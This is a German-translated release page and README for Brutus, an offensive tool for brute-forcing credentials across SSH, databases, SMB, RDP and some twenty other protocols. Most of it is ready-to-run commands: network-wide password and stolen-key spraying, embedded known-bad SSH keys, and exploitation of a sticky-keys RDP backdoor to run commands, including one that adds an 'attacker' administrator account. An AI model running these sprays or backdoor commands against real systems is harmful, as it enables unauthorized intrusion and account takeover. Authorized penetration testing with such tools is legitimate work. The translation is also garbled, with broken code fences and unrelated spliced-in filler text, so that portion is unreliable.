Zurück zu den Updates
New releaseJul 25, 2026

brutus v1.10.0

Schnelles, abhängigkeitsfreies Credential-Testing-Tool in Go. Brute Force für SSH, MySQL, PostgreSQL, Redis, MongoDB, SMB und 20+ Protokolle. Hydra-Alternative mit nativer nerva/naabu-Pipeline-Integration.

Teilen
Brutus - Sozial

Brutus

"Et tu, Brute?" — Die letzten Worte, bevor Zugangsdaten fallen.

Modernes Tool zum Testen von Anmeldedaten in reinem Go

InstallationSchnellstartPipelineProtokolleEnumerationProxyBibliothek


Überblick

Brutus ist ein Multi-Protokoll-Authentifizierungstestwerkzeug, das entwickelt wurde, um eine kritische Lücke in der Offensiv-Sicherheitswerkzeuglandschaft zu schließen: effiziente Validierung von Anmeldedaten über verschiedene Netzwerkdienste hinweg. Während HTTP-fokussierte Werkzeuge reichlich vorhanden sind, stoßen Penetrationstester und Red-Team-Operatoren häufig auf Datenbanken, SSH, SMB und andere Netzwerkdienste, die speziell entwickelte Authentifizierungstestfunktionen erfordern.

In Go als einzelne Binärdatei ohne externe Abhängigkeiten gebaut, integriert sich Brutus nahtlos mit Nerva für die automatisierte Dienstfindung, sodass Betreiber schnell Authentifizierungsvektoren über ganze Netzwerkbereiche identifizieren und testen können.

Hauptfunktionen:

  • Keine Abhängigkeiten: Einzelne Binärdatei, plattformübergreifend (Linux, Windows, macOS)
  • 27 Protokolle: SSH, RDP, MySQL, PostgreSQL, MSSQL, Oracle, Redis, SMB, LDAP, WinRM, SNMP, HTTP Basic Auth und mehr
  • SOCKS5-Proxy-Unterstützung: Leite den gesamten Datenverkehr über einen SOCKS5-Proxy mit --proxy
  • Aggressivitätsmodi: --mode cautious|default|aggressive zur Abstimmung von Abdeckung vs. Sicherheit
  • Pipeline-Integration: Native Unterstützung für Nerva, naabu, nmap und masscan Workflows
  • Eingebettete schlechte Schlüssel: Integrierte Sammlung bekannter SSH-Schlüssel (Vagrant, F5, ExaGrid, usw.)
  • Konto-Enumeration: Kontoexistenz-Orakel-Enumeration, Kerberos-Benutzer-Enumeration, E-Mail-Generierung, Microsoft Teams/Entra ID Gerätecode-Authentifizierung
  • Go-Bibliothek: Direkt in Ihre Sicherheitsautomatisierungswerkzeuge importieren
  • Produktionsreif: Ratenbegrenzung, Verbindungspooling und umfassende Fehlerbehandlung

Warum Brutus?

Traditionelle Werkzeuge wie THC Hydra haben der Sicherheitsgemeinschaft gute Dienste geleistet, aber sie bringen erhebliche Reibung mit sich: komplexe Abhängigkeitsketten, plattformspezifische Kompilierungsprobleme und keine native Integration mit modernen Erkundungs-Workflows.

Brutus ist speziell für moderne offensive Sicherheit konzipiert:

  • Echte Null-Abhängigkeits-Bereitstellung: Laden Sie eine einzelne Binärdatei herunter und führen Sie sie aus. Kein libssh-dev, kein libmysqlclient-dev, keine Kompilierungsfehler. Funktioniert identisch auf Linux, macOS und Windows.

  • Native Pipeline-Integration: Brutus spricht JSON und integriert sich direkt mit Nerva, naabu, nmap und masscan. Leiten Sie entdeckte Dienste direkt in die Anmeldedatentests ohne Formatkonvertierung oder Skripterstellung.

  • Eingebettete Intelligenz: Bekannte schlechte SSH-Schlüssel (Vagrant, F5 BIG-IP, ExaGrid, usw.) sind in die Binärdatei kompiliert. Verwenden Sie brutus badkeys, um sie gegen SSH-Ziele zu testen.

  • Bibliothek-zuerst-Design: Importieren Sie Brutus direkt in Ihre Go-Sicherheitswerkzeuge. Erstellen Sie benutzerdefinierte Automatisierung ohne Auslagerung an externe Prozesse.```bash

Full network credential audit in one pipeline (JSON mode)

naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva --json | brutus creds --json

Or use Nerva's default URI output — no --json flags needed

naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva | brutus creds

---

## Anwendungsfälle

### Penetrationstests
- Entdeckte Anmeldeinformationen während interner Bewertungen über mehrere Dienste hinweg validieren
- Muster der Passwortwiederverwendung über Datenbank- und Dateifreigabedienste testen
- Standard-Anmeldeinformationen auf neu bereitgestellter Infrastruktur identifizieren

### Red-Team-Operationen
- Schnelle Validierung von Anmeldeinformationen nach Passwort-Leaks oder Phishing-Kampagnen
- Möglichkeiten der lateralen Bewegung über Netzwerkdienste testen
- Kompromittierte Anmeldeinformationen über heterogene Umgebungen hinweg validieren

### Spraying von privaten Schlüsseln

Haben Sie einen privaten Schlüssel auf einem kompromittierten System gefunden? Sprayen Sie ihn über das Netzwerk, um herauszufinden, wo er sonst noch Zugriff gewährt:```bash
# Discover SSH services and spray a found private key
naabu -host 10.0.0.0/24 -p 22 -silent | \
  nerva --json | \
  brutus creds -u root,admin,ubuntu,deploy -k /path/to/found_key --json

This pipeline discovers all SSH services, identifies them with Nerva, and tests the compromised key against common usernames—revealing lateral movement opportunities in seconds.

Test von Web-Admin-Panels

Entdecken Sie HTTP-Dienste und testen Sie Anmeldedaten mithilfe von KI-gestützter Erkennung oder manuellen Anmeldedatenlisten:```bash

AI-powered: auto-detect devices and suggest default credentials

naabu -host 10.0.0.0/24 -p 80,443,3000,8080,9090 -silent |
nerva --json |
brutus web --experimental-ai --json

Manual: test specific credentials against web panels

naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web -c "admin:admin,root:password" --json

Default wordlist: test common credentials without AI or -c

naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web --json

### Sicherheitsvalidierung
- Testen Sie Standard-Anmeldedaten auf neu bereitgestellten Diensten
- Überprüfen Sie die Durchsetzung von Passwortrichtlinien auf allen Plattformen
- Erstellen Sie Prüfpfade für Compliance- und Sicherheitsbewertungen

---

## Installation

### Vorgefertigte Binärdateien (Empfohlen)

Download from [GitHub Releases](https://github.com/praetorian-inc/brutus/releases):```bash
# Linux (amd64)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/

# macOS (Apple Silicon)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/

# macOS (Intel)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/

INPUT:```powershell

Windows (PowerShell)

Invoke-WebRequest -Uri https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-windows-amd64.zip -OutFile brutus.zip Expand-Archive -Path brutus.zip -DestinationPath . Remove-Item brutus.zip

### Go Installation```bash
go install github.com/praetorian-inc/brutus/cmd/brutus@latest

Schnellstart

Unterbefehle

Brutus organisiert seine Funktionalität in sechs fokussierte Unterbefehle:```bash brutus creds # Non-HTTP credential auditing (SSH, databases, SMB, etc.) brutus web # HTTP/web panel auditing (Basic Auth, form login, AI-powered) brutus snmp # SNMP community string testing brutus badkeys # Known weak/compromised SSH key testing brutus logon # Windows logon-screen backdoor detection (sticky keys, utilman) brutus enum # Account enumeration (account-existence oracles, Kerberos, Teams auth, email generation)

Jeder Unterbefehl hat Aliase zur Auffindbarkeit:
| Unterbefehl | Aliase |
|------------|---------|
| `creds` | `services`, `defaults`, `credentials` |
| `web` | `http`, `panels` |
| `snmp` | `community` |
| `badkeys` | `keys`, `ssh-keys`, `badkey` |
| `logon` | `stickykeys`, `sticky-keys`, `utilman`, `sethc`, `winlogon`, `accessibility` |
| `enum` | *(keine)* |```bash
# Test SSH credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor

# Test HTTP web panel with AI credential detection
brutus web --target 192.168.1.1:80 --experimental-ai

# Test HTTP web panel with manual credentials
brutus web --target 192.168.1.1:80 -c "admin:admin,root:toor"

# Test SNMP community strings
brutus snmp --target 192.168.1.1:161 --mode aggressive

# Detect Windows logon-screen backdoors
brutus logon --target 10.0.0.50:3389

# Pipeline mode: creds skips HTTP/SNMP, web skips non-HTTP, snmp skips non-SNMP
naabu -host 10.0.0.0/24 -silent | nerva --json | brutus creds -P passwords.txt
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | nerva --json | brutus web --experimental-ai
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive

Grundlegende Nutzung```bash

Test SSH with default credentials

brutus creds --target 192.168.1.100:22 --protocol ssh

Test with specific credentials

brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor

Test with username and password lists

brutus creds --target 192.168.1.100:22 --protocol ssh -U users.txt -P passwords.txt

Test MySQL database

brutus creds --target 192.168.1.100:3306 --protocol mysql -u root -p password

Test SSH with a specific private key

brutus creds --target 192.168.1.100:22 --protocol ssh -u deploy -k /path/to/id_rsa

Increase threads for faster testing

brutus creds --target 192.168.1.100:22 --protocol ssh -t 20

JSON output for scripting

brutus creds --target 192.168.1.100:22 --protocol ssh --json

### Ausgabe Beispiel```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin
[+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s)

Mit verbose-Modus (-v):``` $ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p password,toor -v [-] FAILED: ssh root:password @ 192.168.1.100:22 (0.45s) [+] VALID: ssh root:toor @ 192.168.1.100:22 (0.52s)

JSON-Ausgabe für Pipeline-Integration (gibt nur erfolgreiche Anmeldedaten aus):```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor --json
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}

Pipeline-Integration

Brutus lässt sich nahtlos in Nerva und naabu für eine vollständige Netzwerkerkundung integrieren.

Praxisnahe Szenarien

Szenario 1: Scannen eines Unternehmens-/24-Netzwerks```bash

Discover all open ports, identify services, test default credentials

naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
nerva --json |
brutus creds --json -o results.json

Same pipeline using Nerva's default URI output (no --json needed)

naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
nerva | brutus creds -o results.json

Review findings (all output is successful credentials)

cat results.json | jq '.'

#### Szenario 2: Bug Bounty Recon auf einer Zieldomain```bash
# Full pipeline against a single target
naabu -host target.example.com -top-ports 1000 -silent | \
  nerva --json | \
  brutus creds

# Or scan a list of subdomains
cat subdomains.txt | naabu -silent | nerva --json | brutus creds

Szenario 3: Datenbank-Jagd in einer internen Bewertung```bash

Find and test all databases in a range

naabu -host 192.168.0.0/16 -p 3306,5432,1433,27017,6379,9042 -silent |
nerva --json |
brutus creds -t 5 --json |
tee database-findings.json

Extract credentials in readable format

jq -r '"(.target) (.username):(.password)"' database-findings.json

#### Szenario 4: SSH-Key-Tests in der gesamten Infrastruktur```bash
# Test embedded bad keys (Vagrant, F5 BIG-IP, ExaGrid, etc.) across a range
naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \
  nerva --json | \
  brutus badkeys --json -o ssh-key-findings.json

# Find systems using compromised SSH keys (key field is true)
cat ssh-key-findings.json | jq 'select(.key == true)'

Szenario 5: Gezieltes Service-Testing```bash

Test only Redis instances found in the network

naabu -host 172.16.0.0/12 -p 6379 -silent |
nerva --json |
brutus creds

Test only MongoDB with custom credentials

naabu -host 10.0.0.0/24 -p 27017 -silent |
nerva --json |
brutus creds -u admin,root,mongodb -p admin,password,mongodb

### Import von Scan-Tools (Nmap & Masscan)

Brutus kann Ziele direkt aus **nmap**- und **masscan**-Scanausgabedateien importieren, sodass keine Formatkonvertierung oder Zwischentools erforderlich sind.

#### Nmap XML Import (`--nmap-file`)

Importiert Ziele aus nmaps XML-Ausgabe (`-oX`). Nmap bietet Service-Fingerprinting, sodass Brutus erkannte Dienste automatisch dem richtigen Protokoll zuordnet:```bash
# Run an nmap service scan
nmap -sV -oX scan.xml 10.0.0.0/24 -p 22,3306,5432,6379,445,3389

# Feed nmap results directly to Brutus
brutus creds --nmap-file scan.xml -P passwords.txt

# Test web services from nmap scan
brutus web --nmap-file scan.xml -c "admin:admin,root:password"

# Test SNMP from nmap scan
brutus snmp --nmap-file scan.xml --mode aggressive

# JSON output for scripting
brutus creds --nmap-file scan.xml --json -o results.json

Nmap-Dienstnamen werden automatisch auf Brutus-Protokolle abgebildet (z.B. ms-wbt-serverrdp, microsoft-dssmb). TLS wird aus nmaps Attribut tunnel="ssl" erkannt. Es werden nur offene Ports auf aktiven Hosts importiert.

Masscan JSON Import (--masscan-file)

Importiere Ziele aus masscans JSON-Ausgabe (-oJ). Da masscan nur ein Portscanner ist (keine Dienst-Fingerabdrücke), müssen Sie entweder --protocol angeben oder Brutus mit Nerva automatisch Fingerabdrücke erstellen lassen:```bash

Run a masscan port scan

masscan 10.0.0.0/24 -p 22,3306,5432,6379 -oJ scan.json --rate 10000

Test all discovered ports as SSH (when you know what's running)

brutus creds --masscan-file scan.json --protocol ssh -u root -P passwords.txt

Auto-fingerprint with Nerva (when services are unknown)

brutus creds --masscan-file scan.json -P passwords.txt

#### Kombinieren mit anderen Workflows

Die Flags `--nmap-file` und `--masscan-file` funktionieren mit allen Unterbefehlen und schließen sich gegenseitig mit `--target`, `--targets-file` und stdin aus:```bash
# Scan for RDP backdoors from nmap results
brutus logon --nmap-file scan.xml

# Test SSH bad keys from nmap results
brutus badkeys --nmap-file scan.xml

# Override protocol for all masscan targets
brutus creds --masscan-file scan.json --protocol redis -p "redis,password"

Pipeline-Eingabeformat

Brutus akzeptiert mehrere Eingabeformate von stdin:

Nerva JSON (nerva --json):```bash {"ip":"192.168.1.100","port":22,"protocol":"ssh","tls":false,"transport":"tcp","version":"OpenSSH_8.9p1"} {"ip":"192.168.1.101","port":3306,"protocol":"mysql","tls":false,"transport":"tcp","version":"8.0.32"}

**Nerva URI** (Standard Nerva-Ausgabe, kein `--json` erforderlich):```bash
# Nerva outputs URI-scheme lines by default
$ echo "github.com:22" | nerva
ssh://github.com:22 (20.205.243.166)

# Pipe directly to Brutus — protocol is extracted from the URI scheme
echo "10.0.0.1:22" | nerva | brutus creds
echo "10.0.0.0/24:3306" | naabu -silent | nerva | brutus creds

Nackte Ziele (automatisch mit Nerva identifiziert):```bash echo "192.168.1.100:22" | brutus creds

Brutus automatisch:
- JSON-, URI-Schema- und reine Zielformate parst
- Dienste Protokollen zuordnet
- Passende Standard-Anmeldeinformationen testet
- Ergebnisse im passenden JSON-Format ausgibt

### Pipeline-Ausgabeformat

Brutus gibt nur erfolgreiche Anmeldeinformationen im JSONL-Format aus (ein JSON-Objekt pro Zeile):```bash
# Brutus JSON output (with --json flag) - only successful authentications
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
{"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"}
{"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"}

Hinweis: Fehlgeschlagene Authentifizierungsversuche sind nicht im JSON-Output enthalten. Das key-Feld erscheint (als true), wenn für die Authentifizierung ein SSH-Schlüssel anstelle eines Passworts verwendet wurde. Das llm_suggested-Feld erscheint (als true), wenn die Anmeldeinformationen vom KI-System vorgeschlagen wurden (--experimental-ai).


Vergleich

FunktionHydraMedusaNcrackBrutus
Einzelne Binärdatei
Keine Abhängigkeiten
SOCKS5-Proxy
Nerva-Pipeline
Nmap/Masscan-Import
JSON-Streaming⚠️
Plattformübergreifend⚠️⚠️⚠️
Einheitliche Fehler⚠️⚠️⚠️
Aktive Entwicklung⚠️
Eingebettete Bad Keys
Go-Bibliotheksimport

Unterstützte Protokolle

Brutus unterstützt 27 Protokolle:

Netzwerkdienste

ProtokollPortAuthentifizierungsmethodenAnwendungsfall
SSH22Passwort, Private KeysServer, Netzwerkgeräte
FTP21PasswortDateiserver, NAS-Geräte
Telnet23PasswortLegacy-Systeme, IoT-Geräte
VNC5900PasswortRemote-Desktops
RDP3389NLA/CredSSP, PasswortWindows-Server, Workstations
SNMP161Community-StringNetzwerkgeräte, Drucker

Webdienste

ProtokollPortAuthentifizierungsmethodenAnwendungsfall
HTTP80Basis-AuthentifizierungAdmin-Panels (Grafana, Jenkins usw.)
HTTPS443Basis-AuthentifizierungSichere Admin-Panels

Unternehmensinfrastruktur

ProtokollPortAuthentifizierungsmethodenAnwendungsfall
SMB445Passwort, NTLMWindows-Netzwerke, Dateifreigaben
LDAP389/636Bind DNActive Directory, Identität
WinRM5985/5986NTLMWindows-Remoteverwaltung

Datenbanken

ProtokollPortAuthentifizierungsmethodenAnwendungsfall
MySQL3306PasswortWebanwendungen
PostgreSQL5432PasswortModerne Anwendungen
MSSQL1433PasswortUnternehmensanwendungen
MongoDB27017PasswortNoSQL-Backends
Redis6379PasswortCaching, Sitzungen
Neo4j7687PasswortGraphdatenbanken
Cassandra9042PasswortVerteilte Datenbanken
CouchDB5984HTTP BasicDokumentenspeicher
Elasticsearch9200HTTP BasicSuchmaschinen
InfluxDB8086HTTP BasicZeitreihendaten
Oracle1521PasswortUnternehmensdatenbanken

Container & Orchestrierung

ProtokollPortAuthentifizierungsmethodenAnwendungsfall
Docker2375/2376Nicht authentifiziertFreigelegte Docker-Daemons
Kubernetes6443/10250Nicht authentifiziertFreigelegte K8s-API/kubelet

Kommunikation

ProtokollPortAuthentifizierungsmethodenAnwendungsfall
SMTP25/587PasswortMail-Relay
IMAP143/993PasswortPostfachzugriff
POP3110/995PasswortPostfachzugriff

Eingebettete SSH Bad Keys

Einzelne Binärdatei, keine externen Schlüsseldateien erforderlich. Jeder Schlüssel ist mit seinem Standard-Benutzernamen für ein intelligentes Mapping der Anmeldeinformationen gekoppelt, und die CVE-Verfolgung ermöglicht Compliance-Abfragen.

Brutus enthält die rapid7/ssh-badkeys- und Vagrant-Schlüsselsammlungen, die in die Binärdatei eingebettet sind:```bash

Test bad keys against a single target

brutus badkeys --target 192.168.1.100:22

Pipeline mode: scan a range for compromised SSH keys

naabu -host 10.0.0.0/24 -p 22 -silent | nerva --json | brutus badkeys

Test credentials (bad keys are NOT included in creds mode)

brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p "password"

### Eingebettete Schlüsselsammlung

| Produkt | CVE | Standardbenutzer | Beschreibung |
|---------|-----|------------------|--------------|
| Vagrant | - | vagrant, root | HashiCorp Vagrant unsicherer Schlüssel |
| F5 BIG-IP | CVE-2012-1493 | root | Statischer SSH-Host-Schlüssel |
| ExaGrid | CVE-2016-1561 | root | Hintertür für Backup-Appliance |
| Monroe DASDEC | CVE-2013-0137 | root | Notfallwarnsysteme |
| Barracuda | CVE-2014-8428 | cluster | Load-Balancer-VM |
| Ceragon FibeAir | CVE-2015-0936 | mateidu | Drahtloses Backhaul |
| Array Networks | - | sync | vAPV/vxAG-Appliances |
| Quantum DXi | - | root | Deduplizierungs-Appliances |
| Loadbalancer.org | - | root | Enterprise-Load-Balancer |

---

## Aggressivitätsmodi

Das globale `--mode`-Flag (`-m`) steuert die Aggressivität über alle Unterbefehle hinweg. Es setzt Leistungsoptimierungs-Voreinstellungen, die die Abdeckung gegen Sicherheit abwägen:

| Modus | Threads | Timeout | Ratenlimit | Jitter | Wiederholungen | Anwendungsfall |
|-------|---------|---------|------------|--------|----------------|----------------|
| `cautious` | 5 | 15s | 2 req/s | 500ms | 1 | Produktionsumgebungen, Sperrungen vermeiden |
| `default` | 10 | 10s | Unbegrenzt | Keine | 2 | Standardtests |
| `aggressive` | 20 | 10s | Unbegrenzt | Keine | 3 | Labor-/CTF-Umgebungen, maximale Abdeckung |

Modus-Voreinstellungen werden zuerst angewendet, danach überschreiben explizite CLI-Flags diese:```bash
# Safe mode for production Active Directory (low concurrency, rate-limited)
brutus creds --target dc.corp.local:445 --protocol smb -m cautious -U users.txt -P passwords.txt

# Maximum coverage for a CTF
brutus creds --target 10.10.10.100:22 --protocol ssh -m aggressive -U users.txt -P rockyou.txt

# Cautious mode but override threads
brutus creds --target 192.168.1.100:22 --protocol ssh -m cautious --threads 20

Für SNMP steuert der Modus auch die Tiefe der integrierten Wortliste (siehe SNMP Community String Testing).


SOCKS5 Proxy-Unterstützung

Das --proxy-Flag leitet alle Verbindungen über einen SOCKS5-Proxy. Dies funktioniert über alle Protokolle und Unterbefehle hinweg:```bash

Route SSH testing through a SOCKS5 proxy

brutus creds --target 10.0.0.100:22 --protocol ssh --proxy socks5://127.0.0.1:1080

Proxy with authentication

brutus creds --target 10.0.0.100:3306 --protocol mysql --proxy socks5://user:[email protected]:1080

DNS resolution on the proxy side (socks5h)

brutus creds --target internal.corp:22 --protocol ssh --proxy socks5h://127.0.0.1:1080

Combine with pipeline input

naabu -host 10.0.0.0/24 -p 22,3306 -silent | nerva --json | brutus creds --proxy socks5://127.0.0.1:1080

Works with all subcommands

brutus web --target 192.168.1.1:8080 --proxy socks5://127.0.0.1:1080 brutus snmp --target 192.168.1.1:161 --proxy socks5://127.0.0.1:1080

Unterstützte Schemata:
- `socks5://` — Standard-SOCKS5-Proxy (clientseitige DNS-Auflösung)
- `socks5h://` — SOCKS5 mit fernseitiger DNS-Auflösung (nützlich beim Anvisieren interner Hostnamen)

---

## SNMP-Community-String-Tests

Der Unterbefehl `snmp` bietet dedizierte Tests von SNMP-v1/v2c-Community-Strings mit abgestuften Wortlisten, die durch das globale Flag `--mode` gesteuert werden:

| Modus | Strings | Abdeckung |
|-------|---------|-----------|
| `cautious` | ~25 | Gängige Strings (public, private, community, usw.) |
| `default` | ~25 | Wie bei cautious |
| `aggressive` | 200+ | Umfassend (herstellerabhängig, SCADA, IP-Kameras, Storage, usw.) |```bash
# Test with default community strings (~25)
brutus snmp --target 192.168.1.1:161

# Aggressive mode for comprehensive testing (200+)
brutus snmp --target 10.0.0.1:161 --mode aggressive

# Custom community strings
brutus snmp --target 192.168.1.1:161 -c "mycommunity,secretstring"

# Custom community string file
brutus snmp --target 192.168.1.1:161 -C community-strings.txt

# Pipeline mode
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive

Bibliotheksintegration

Für Entwickler, die Sicherheitsautomatisierungswerkzeuge bauen, kann Brutus auch als Go-Bibliothek importiert werden:```bash go get github.com/praetorian-inc/brutus

**Der Inhalt scheint leer zu sein.**  
Wir benötigen mehr Inhalt, um fortzufahren.  
- [Zurück nach oben](#readme)  
---  
## Übersetzung  
Die Übersetzung der hier genannten Werkzeuge bezieht sich auf eine Konvertierung von einer natürlichen Sprache in eine andere. Dies trifft normalerweise nicht auf Open-Source-Cybersicherheitswerkzeuge zu, die typischerweise auf Englisch sind, aber die README bietet manchmal übersetzte Versionen oder Beschreibungen.```go
package main

import (
    "fmt"
    "time"

    "github.com/praetorian-inc/brutus/pkg/brutus"
    _ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers
)

func main() {
    config := &brutus.Config{
        Target:        "192.168.1.100:22",
        Protocol:      "ssh",
        Usernames:     []string{"root", "admin"},
        Passwords:     []string{"password", "admin", "toor"},
        Timeout:       5 * time.Second,
        Threads:       10,
    }

    results, err := brutus.Brute(config)
    if err != nil {
        panic(err)
    }

    for _, r := range results {
        if r.Success {
            fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password)
        }
    }
}

Experimentell: KI-gestützte Erkennung von Zugangsdaten

⚠️ Experimentelle Funktion: KI-Funktionen benötigen externe API-Schlüssel und befinden sich in aktiver Entwicklung.

Das --experimental-ai Flag

Das --experimental-ai Flag aktiviert die automatische Erkennung von Zugangsdaten für HTTP-Dienste:```bash

Set up API keys

export ANTHROPIC_API_KEY="your-anthropic-key" # Required: Claude Vision for device identification export PERPLEXITY_API_KEY="your-perplexity-key" # Optional: additional web search

AI-powered credential testing against HTTP services

naabu -host 192.168.1.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web --experimental-ai

**Wie es funktioniert:**

1. **Erkennung** — Brutus testet HTTP-Ziele, um den Authentifizierungstyp zu erkennen (Basic Auth vs. formularbasiert)
2. **Geräteidentifikation** — Claude Vision analysiert Screenshots, um das Gerät/die Anwendung zu identifizieren
3. **Anmeldeinformationsvorschläge** — Claude schlägt Standard-Anmeldeinformationen aus seinen Trainingsdaten vor
4. **Optionale Websuche** — Perplexity (falls konfiguriert) sucht online nach weiteren Anmeldeinformationen
5. **Testen** — Testet die gefundenen Anmeldeinformationen gegen das Ziel

**Für HTTP Basic Auth Ziele:**
- Testet `/` um HTTP-Header zu erfassen
- Identifiziert Gerät aus Server-Header, WWW-Authenticate-Realm etc.
- Claude schlägt wahrscheinliche Standard-Anmeldeinformationen vor
- Testet Anmeldeinformationspaare automatisch

**Für HTTP formularbasierte Auth-Ziele:**
- Verwendet headless Chrome zum Rendern und Erstellen eines Screenshots der Seite
- Claude Vision identifiziert das Login-Formular, den Gerätetyp und schlägt Anmeldeinformationen vor
- Perplexity (optional) sucht nach weiteren Standard-Anmeldeinformationen
- Browser-Automatisierung füllt und sendet das Formular ab

**Anforderungen:**
- `ANTHROPIC_API_KEY` — **Erforderlich** für Claude Vision (Geräteidentifikation + Anmeldeinformationsvorschläge)
- `PERPLEXITY_API_KEY` — *Optional* für zusätzliche Websuche-Recherche
- Chrome/Chromium installiert (nur für formularbasierte Auth)

**Nicht-HTTP-Protokolle (SSH, MySQL, etc.) werden von `--experimental-ai` nicht beeinflusst** — sie verwenden weiterhin Standard-Anmeldeinformationstests.

---

## RDP: Erkennung und Ausnutzung der Sticky Keys Hintertür

Brutus beinhaltet automatische Erkennung der **Sticky Keys Hintertür** (MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546/008/)) auf RDP-Zielen. Diese Pre-Authentifizierungsprüfung läuft auf Nicht-NLA RDP-Zielen — keine Anmeldeinformationen erforderlich.

**Wie es funktioniert:**

1. Stellt eine Verbindung zum RDP-Ziel her und handelt eine Nicht-NLA-Sitzung aus
2. Erfasst den Login-Bildschirm-Bitmap als Basislinie
3. Sendet 5x die Umschalttaste (der Sticky Keys Auslöser)
4. Erfasst den Antwort-Bitmap
5. Heuristische Analyse erkennt, ob ein Terminalfenster erschienen ist (cmd.exe, PowerShell usw.)
6. Optional Bestätigung über Claude Vision API (wenn `ANTHROPIC_API_KEY` gesetzt ist)```bash
# Detection only — no brute force
brutus logon --target 10.0.0.50:3389

# Detection + Vision API confirmation
brutus logon --target 10.0.0.50:3389 --experimental-ai

Nur-Erkennungs-Modus: Der Unterbefehl logon führt die Sticky-Keys- und Utilman-Backdoor-Erkennung ohne Brute-Force durch:```bash

Detection only (no brute force)

brutus logon --target 10.0.0.50:3389

**Erkennungsausgabe:**```
[CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%)
sethc.exe has been replaced with cmd.exe or similar.
SYSTEM-level unauthenticated access available via 5x Shift.

Befehlsausführung über Backdoor (--exec)

Sobald eine Backdoor erkannt wird, führen Sie einen Befehl auf dem entfernten System über die Pre-Auth-Befehlseingabeaufforderung aus:```bash

Execute a single command via the backdoor

brutus logon --target 10.0.0.50:3389 --exec "whoami"

Add a local admin account

brutus logon --target 10.0.0.50:3389
--exec "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"

Dies verbindet, löst die Hintertür aus, tippt den Befehl, drückt die Eingabetaste, wartet auf die Ausgabe und speichert einen PNG-Screenshot des Ergebnisses.

### Interaktives Web-Terminal (`--web`)

Starten Sie einen browserbasierten RDP-Viewer für die Live-Interaktion mit der Eingabeaufforderung der Hintertür:```bash
# Start interactive web terminal
brutus logon --target 10.0.0.50:3389 --web

Dies startet einen lokalen HTTP-Server mit:

  • Live-Bildschirm-Streaming mit ~10 FPS (JPEG über WebSocket)
  • Vollständige Tastaturweiterleitung (PS/2-Scancodes, abgebildet vom Browser-KeyboardEvent)
  • Mausunterstützung (Klicken, Bewegen, Rechtsklick)
  • Verbindungsstatus mit Trennungs-Overlay und Wiederverbinden-Button

Öffnen Sie die angezeigte URL (z. B. http://127.0.0.1:<port>) in einem beliebigen Browser, um mit der entfernten RDP-Sitzung zu interagieren. Wenn die Sitzung aufgrund eines serverseitigen Leerlauf-Timeouts getrennt wird, klicken Sie auf Wiederverbinden, um eine neue Sitzung zu erstellen.

Hinweis: Nicht-NLA-RDP-Sitzungen haben einen serverseitigen Leerlauf-Timeout (Windows-Standard variiert je nach Konfiguration, normalerweise gesteuert über Gruppenrichtlinien unter Computer Configuration > Administrative Templates > Remote Desktop Services > Session Time Limits). Um den Timeout auf einem Testziel zu verlängern, setzen Sie MaxIdleTime auf 0 in der Registrierung:

HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\MaxIdleTime = 0 (DWORD)

B-TP (Benign True Positive)-Überlegungen: Der Backdoor-Ersatz kann auch auf vergessene Passwort-Wiederherstellungsverfahren oder Artefakte von autorisierten Penetrationstests hinweisen.

Massen-RDP-Scanning-Pipeline

Für groß angelegte Bewertungen führt der Unterbefehl logon Backdoor-Erkennung über mehrere Ziele hinweg durch. Er akzeptiert Pipeline-Eingaben, Zieldateien oder nmap/masscan-Importe — nur RDP-Dienste werden getestet:```bash

Scan a /24 for sticky keys and utilman backdoors

naabu -host 10.0.0.0/24 -p 3389 -silent |
nerva --json |
brutus logon --json -o rdp-findings.json

Scan from nmap results

brutus logon --nmap-file scan.xml --json -o rdp-findings.json

Scan from targets file

brutus logon --targets-file rdp-targets.txt --json

Extract critical findings

jq 'select(.finding == "[CRITICAL]")' rdp-findings.json

**Technische Umsetzung:** Die RDP-Protokollunterstützung verwendet [IronRDP](https://github.com/Devolutions/IronRDP) (Rust), das zu WebAssembly kompiliert und über [wazero](https://github.com/tetratelabs/wazero) ausgeführt wird, wodurch Brutus' Zero-CGO-, Single-Binary-Design beibehalten wird.

---

## Konto-Enumeration

